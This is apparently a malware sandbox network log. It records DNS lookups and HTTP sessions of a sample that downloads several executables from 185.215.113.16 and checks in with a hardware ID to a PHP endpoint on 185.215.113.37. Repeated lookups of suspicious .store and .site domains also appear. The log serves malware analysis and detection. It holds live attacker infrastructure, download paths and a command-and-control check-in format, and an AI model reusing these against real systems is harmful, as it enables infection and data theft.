Oct 21, 2024 10:46:59.176918030 CEST	1.1.1.1	192.168.2.4	0xebe6	No error (0)	twitter.com		104.244.42.129	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.065025091 CEST	1.1.1.1	192.168.2.4	0x6657	No error (0)	services.addons.mozilla.org		52.222.236.23	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.065025091 CEST	1.1.1.1	192.168.2.4	0x6657	No error (0)	services.addons.mozilla.org		52.222.236.80	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.065025091 CEST	1.1.1.1	192.168.2.4	0x6657	No error (0)	services.addons.mozilla.org		52.222.236.120	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.065025091 CEST	1.1.1.1	192.168.2.4	0x6657	No error (0)	services.addons.mozilla.org		52.222.236.48	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.083467960 CEST	1.1.1.1	192.168.2.4	0xb91b	No error (0)	services.addons.mozilla.org		52.222.236.120	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.083467960 CEST	1.1.1.1	192.168.2.4	0xb91b	No error (0)	services.addons.mozilla.org		52.222.236.48	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.083467960 CEST	1.1.1.1	192.168.2.4	0xb91b	No error (0)	services.addons.mozilla.org		52.222.236.23	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.083467960 CEST	1.1.1.1	192.168.2.4	0xb91b	No error (0)	services.addons.mozilla.org		52.222.236.80	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.123131990 CEST	1.1.1.1	192.168.2.4	0x6925	No error (0)	normandy.cdn.mozilla.net	normandy-cdn.services.mozilla.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:47:02.123131990 CEST	1.1.1.1	192.168.2.4	0x6925	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:02.187103987 CEST	1.1.1.1	192.168.2.4	0x2cb3	No error (0)	normandy-cdn.services.mozilla.com		35.201.103.21	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:03.596643925 CEST	1.1.1.1	192.168.2.4	0x32f5	No error (0)	a21ed24aedde648804e7-228765c84088fef4ff5e70f2710398e9.r17.cf1.rackcdn.com	a17.rackcdn.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:47:03.596643925 CEST	1.1.1.1	192.168.2.4	0x32f5	No error (0)	a17.rackcdn.com	a17.rackcdn.com.mdc.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 21, 2024 10:47:08.186309099 CEST	1.1.1.1	192.168.2.4	0x485f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.276737928 CEST	1.1.1.1	192.168.2.4	0x2223	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.287198067 CEST	1.1.1.1	192.168.2.4	0xbac8	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.299700022 CEST	1.1.1.1	192.168.2.4	0xad6	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.310214996 CEST	1.1.1.1	192.168.2.4	0x6296	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.322860003 CEST	1.1.1.1	192.168.2.4	0x8e5a	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.333708048 CEST	1.1.1.1	192.168.2.4	0xeb96	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.345727921 CEST	1.1.1.1	192.168.2.4	0x1c5b	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.357588053 CEST	1.1.1.1	192.168.2.4	0x80d1	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:16.368412018 CEST	1.1.1.1	192.168.2.4	0x9d75	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.442081928 CEST	1.1.1.1	192.168.2.4	0xcfa5	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.474363089 CEST	1.1.1.1	192.168.2.4	0x6d17	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.487095118 CEST	1.1.1.1	192.168.2.4	0xf951	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.501225948 CEST	1.1.1.1	192.168.2.4	0x1ac3	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.530265093 CEST	1.1.1.1	192.168.2.4	0xf730	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.561619043 CEST	1.1.1.1	192.168.2.4	0xddc5	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.571122885 CEST	1.1.1.1	192.168.2.4	0x6da	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.581017017 CEST	1.1.1.1	192.168.2.4	0x166a	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:27.600876093 CEST	1.1.1.1	192.168.2.4	0x5130	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:32.218537092 CEST	1.1.1.1	192.168.2.4	0xdd1f	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.205665112 CEST	1.1.1.1	192.168.2.4	0x5727	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.215212107 CEST	1.1.1.1	192.168.2.4	0x2b43	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.231190920 CEST	1.1.1.1	192.168.2.4	0x518e	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.244993925 CEST	1.1.1.1	192.168.2.4	0xcd2e	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.263422966 CEST	1.1.1.1	192.168.2.4	0x79ae	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.291623116 CEST	1.1.1.1	192.168.2.4	0xc252	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.311764002 CEST	1.1.1.1	192.168.2.4	0xb3e5	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:37.324305058 CEST	1.1.1.1	192.168.2.4	0x6bcb	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.296154022 CEST	1.1.1.1	192.168.2.4	0x51e5	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.310005903 CEST	1.1.1.1	192.168.2.4	0x5ce5	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.322061062 CEST	1.1.1.1	192.168.2.4	0x5456	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.333431959 CEST	1.1.1.1	192.168.2.4	0x9141	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.351571083 CEST	1.1.1.1	192.168.2.4	0x7018	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.363811016 CEST	1.1.1.1	192.168.2.4	0x45df	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.375745058 CEST	1.1.1.1	192.168.2.4	0x9875	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.397068977 CEST	1.1.1.1	192.168.2.4	0x4cae	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:47:47.408885956 CEST	1.1.1.1	192.168.2.4	0x677e	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.010884047 CEST	1.1.1.1	192.168.2.4	0x443d	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.097913027 CEST	1.1.1.1	192.168.2.4	0x3fc3	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.699867010 CEST	1.1.1.1	192.168.2.4	0xfefd	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.712033987 CEST	1.1.1.1	192.168.2.4	0xcdec	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.727792025 CEST	1.1.1.1	192.168.2.4	0x5c7c	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.738185883 CEST	1.1.1.1	192.168.2.4	0xc8b6	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.749809027 CEST	1.1.1.1	192.168.2.4	0xd478	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.770061016 CEST	1.1.1.1	192.168.2.4	0x5268	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 21, 2024 10:48:03.785983086 CEST	1.1.1.1	192.168.2.4	0xcda6	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49745	185.215.113.16	80	7428	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:46:21.716417074 CEST	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:46:22.648741007 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:46:22 GMT Content-Type: application/octet-stream Content-Length: 1908224 Last-Modified: Mon, 21 Oct 2024 08:30:16 GMT Connection: keep-alive ETag: "67161118-1d1e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 b0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfK@K@WkKhK @.rsrc@.idata @ *@evwdyikk1@ewgqkdfwK@.taggant0K"@
Oct 21, 2024 10:46:22.648756027 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:46:22.648766041 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:46:22.648777008 CEST	536	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 21, 2024 10:46:22.648829937 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: j#DjK85]8!~"~dz#5~c!h!uvk@gV })9j>(n2[>`jV%\{2B?
Oct 21, 2024 10:46:22.648842096 CEST	1236	IN	Data Raw: 3a 7f 92 af 12 dc e2 b0 72 87 0f 78 64 43 6e a7 0e fe 9a eb 52 f3 9f 20 32 f7 3c 53 fa 7b 3b 79 c4 86 ae 51 19 28 3e cf 4e 96 de fd f4 7c 6d 83 fa 08 e1 8a 02 99 56 6b 21 e7 54 e3 dd ff fe aa 22 ce 6e eb ee b3 4f 24 7e b9 8e 12 b4 d6 9e cb ea 7f Data Ascii: :rxdCnR 2<S{;yQ(>N\|mVk!T"nO$~2O3]bdc)1By>W{syh{mCHBMNr([in`Tnozj\|=3Mc7=73O~#l`o8~S.W\I
Oct 21, 2024 10:46:22.648855925 CEST	1236	IN	Data Raw: 74 c6 ed 8e 6b c7 53 eb 97 eb b9 ec eb 5f 08 63 bc 96 b4 f0 3a 36 07 a3 e1 22 76 0d eb fe ca e4 de 16 65 f0 b2 94 77 bb 74 d5 36 cf a3 89 22 e1 fa 34 e2 ba c0 8b f6 ce 71 fc 9d 89 a2 73 d9 a5 4e 5f 50 61 8b df e4 6a c0 d8 07 76 ae 87 74 f0 2d e7 Data Ascii: tkS_c:6"vewt6"4qsN_Pajvt-GvN@yUw4#Co'S[f%sXvoZjGG;p*>\Eu>=JbiuN [Ul&G[Xu']BCh
Oct 21, 2024 10:46:22.648868084 CEST	1236	IN	Data Raw: b4 bf c4 18 b9 27 c2 92 9b 75 ee dd d4 e1 52 34 f2 9b 2c e3 b1 28 f5 d8 5b f2 e5 dc c9 d1 b6 04 5c bf 0e 3f cd 9c 57 1e fe 73 03 e7 52 be 06 16 eb 2d f0 ea 03 96 94 d4 77 75 3a df 0e e1 60 56 ee cf e6 45 37 35 1a cf 05 df fd de d5 c3 90 b6 19 a3 Data Ascii: 'uR4,([\?WsR-wu:`VE75lt2##7goW>bjOcv3iRlwmvc_[qnlWPz)0Gl9XGtFd4y"Gl#~PvBu
Oct 21, 2024 10:46:22.648879051 CEST	1236	IN	Data Raw: 84 81 87 ef 79 09 5d f9 03 b0 05 13 47 29 e2 55 01 c3 55 08 42 4b 73 6a 34 4b 63 f0 fa c5 d2 28 43 e5 06 43 52 36 05 c0 04 e8 0c ec 0b 66 94 ba 81 ee be f6 07 7c e3 5e a2 9a 1d 22 86 d5 58 37 8a 89 68 08 f3 cd 6d ea f6 00 42 48 41 67 0c b1 5f f8 Data Ascii: y]G)UUBKsj4Kc(CCR6f\|^"X7hmBHAg_wn4KRay6iGfX^1f6#qwQ`$ZM@A%Uxjs\86_akgbK(.4nyyx=_OOvOv:gtnGh
Oct 21, 2024 10:46:22.648890018 CEST	1236	IN	Data Raw: 00 b6 56 e4 6e 38 9f 82 5c 10 41 04 d3 88 a6 6f 15 97 ae a2 5e f5 21 fd 5a d0 3c 1f bb f2 6e 8d 2b 5f fa 68 c4 a1 2d 18 9c 31 15 a6 32 96 a0 ea 52 6c 82 4c f0 47 3f 24 fd 23 d9 b8 fa 05 10 e1 b2 2f 32 83 a3 0d e5 ae 77 65 b0 db 6c 71 9b c9 42 17 Data Ascii: Vn8\Ao^!Z<n+_h-12RlLG?$#/2welqB6hN1TghVZ2?~_R5mZG)6~ZRk>8W!qMT))JboC/\2KoU o[v;U/X~"=u@X>xJyEfv:L7f"=]pOe
Oct 21, 2024 10:46:22.653960943 CEST	1236	IN	Data Raw: aa 67 36 bc f4 64 07 4a 14 98 6a 62 fa 2f 7e 6b 65 00 e4 28 e2 a3 05 e0 ea d9 3d d7 11 7f 20 5a c4 97 67 6b e8 06 a7 2a 40 e6 4c c3 c0 96 a7 f0 3b d7 e2 a9 78 ab 42 75 b2 e3 41 9e 2a 71 79 cf 52 75 2e 6f b1 0a c8 b1 e8 00 a0 03 c6 cc 03 0a bb 05 Data Ascii: g6dJjb/~ke(= Zgk@L;xBuAqyRu.oxzXF]D='99*`8rIRo/\|wK]%}dsK;T8E"fz8oH.DY<>r&ICxT7xigrcwuB~JD`0w.7
Oct 21, 2024 10:46:24.631047964 CEST	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:46:24.919622898 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:46:24 GMT Content-Type: application/octet-stream Content-Length: 1887232 Last-Modified: Mon, 21 Oct 2024 08:30:09 GMT Connection: keep-alive ETag: "67161111-1ccc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 6b 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6b 00 00 04 00 00 b3 f6 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0k@`k@P%d% %(@.rsrc %8@.idata %8@ *%:@yuntpzropPj<@dfroebje k@.taggant00k"@
Oct 21, 2024 10:46:25.656980991 CEST	204	OUT	GET /well/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 21, 2024 10:46:25.945457935 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 21 Oct 2024 08:46:25 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Mon, 21 Oct 2024 07:51:53 GMT Connection: keep-alive ETag: "67160819-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 10 08 16 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELg"dw@pkD@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49746	185.215.113.37	80	8020	C:\Users\user\AppData\Local\Temp\2SGVUOBNN8HUJ5IDUWDR.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:46:29.757739067 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 21, 2024 10:46:30.650374889 CEST	203	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 21, 2024 10:46:30.652777910 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDHIDBFBFHIJKFHCGIE Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 30 45 44 45 33 36 37 39 30 31 32 32 36 33 31 38 30 30 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 48 49 44 42 46 42 46 48 49 4a 4b 46 48 43 47 49 45 2d 2d 0d 0a Data Ascii: ------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="hwid"900EDE3679012263180025------JJDHIDBFBFHIJKFHCGIEContent-Disposition: form-data; name="build"doma------JJDHIDBFBFHIJKFHCGIE--
Oct 21, 2024 10:46:30.938412905 CEST	210	IN	HTTP/1.1 200 OK Date: Mon, 21 Oct 2024 08:46:30 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49758	34.107.221.82	80	7760	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:46:37.456146955 CEST	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 21, 2024 10:46:38.060447931 CEST	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sun, 20 Oct 2024 14:45:40 GMT Age: 64858 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49765	34.107.221.82	80	7760	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
Oct 21, 2024 10:46:38.501616001 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:46:39.104069948 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71536 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:46:39.643302917 CEST	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 21, 2024 10:46:40.004019022 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71536 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Oct 21, 2024 10:46:40.004230976 CEST	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sun, 20 Oct 2024 12:54:23 GMT Age: 71536 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
